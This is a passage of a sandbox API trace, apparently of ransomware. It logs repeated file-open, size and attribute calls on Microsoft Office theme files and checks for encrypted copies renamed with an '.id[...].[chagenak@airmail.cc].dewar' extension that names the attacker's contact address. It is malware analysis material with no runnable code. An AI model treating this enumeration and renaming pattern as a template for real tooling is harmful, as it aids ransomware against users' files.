1 [0239.965] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0239.968] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=27407) returned 1 [0239.968] CloseHandle (hObject=0x1e0) returned 1 [0239.969] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png")) returned 0x20 [0239.969] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png")) returned 0x20 [0239.969] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.969] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.970] SetEvent (hEvent=0x118) returned 1 [0239.970] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0239.971] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=60154) returned 1 [0239.971] CloseHandle (hObject=0x1e0) returned 1 [0239.971] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm")) returned 0x20 [0239.971] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm")) returned 0x20 [0239.971] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.971] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.972] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0239.973] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=596) returned 1 [0239.973] CloseHandle (hObject=0x1e0) returned 1 [0239.973] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf")) returned 0x20 [0239.973] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf")) returned 0x20 [0239.973] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.974] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.974] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0239.975] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3479) returned 1 [0239.975] CloseHandle (hObject=0x1e0) returned 1 [0239.975] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif")) returned 0x20 [0239.975] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif")) returned 0x20 [0239.975] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.976] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.976] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0239.977] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=31837) returned 1 [0239.977] CloseHandle (hObject=0x1e0) returned 1 [0239.977] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png")) returned 0x20 [0239.977] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png")) returned 0x20 [0239.977] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.978] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.978] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0239.979] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=107831) returned 1 [0239.979] CloseHandle (hObject=0x1e0) returned 1 [0239.979] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm")) returned 0x20 [0239.979] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm")) returned 0x20 [0239.979] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.979] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.980] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0239.987] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=450) returned 1 [0239.988] CloseHandle (hObject=0xe0) returned 1 [0239.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf")) returned 0x20 [0239.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf")) returned 0x20 [0239.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.988] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.989] SetEvent (hEvent=0x118) returned 1 [0239.989] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0239.990] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2722) returned 1 [0239.990] CloseHandle (hObject=0xe0) returned 1 [0239.990] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif")) returned 0x20 [0239.990] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif")) returned 0x20 [0239.990] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.990] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.991] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0239.994] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=43276) returned 1 [0239.994] CloseHandle (hObject=0xe0) returned 1 [0239.995] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png")) returned 0x20 [0239.995] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png")) returned 0x20 [0239.995] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.995] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.995] SetEvent (hEvent=0x118) returned 1 [0239.996] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0239.996] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=44745) returned 1 [0239.997] CloseHandle (hObject=0xe0) returned 1 [0239.997] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm")) returned 0x20 [0239.997] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm")) returned 0x20 [0239.997] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.997] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.998] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0240.001] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=465) returned 1 [0240.002] CloseHandle (hObject=0xe0) returned 1 [0240.002] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf")) returned 0x20 [0240.002] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf")) returned 0x20 [0240.002] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.002] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.003] SetEvent (hEvent=0x118) returned 1 [0240.003] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0240.003] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=945) returned 1 [0240.004] CloseHandle (hObject=0xe0) returned 1 [0240.004] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif")) returned 0x20 [0240.004] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif")) returned 0x20 [0240.004] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.004] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.005] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0240.005] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=32607) returned 1 [0240.005] CloseHandle (hObject=0xe0) returned 1 [0240.005] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png")) returned 0x20 [0240.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png")) returned 0x20 [0240.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.006] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.006] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0240.237] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=57786) returned 1 [0240.238] CloseHandle (hObject=0x200) returned 1 [0240.238] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm")) returned 0x20 [0240.238] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm")) returned 0x20 [0240.238] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.238] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.239] SetEvent (hEvent=0x118) returned 1 [0240.239] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0240.242] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2044) returned 1 [0240.242] CloseHandle (hObject=0x200) returned 1 [0240.242] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif")) returned 0x20 [0240.242] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif")) returned 0x20 [0240.242] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.242] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.243] SetEvent (hEvent=0x118) returned 1 [0240.243] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft 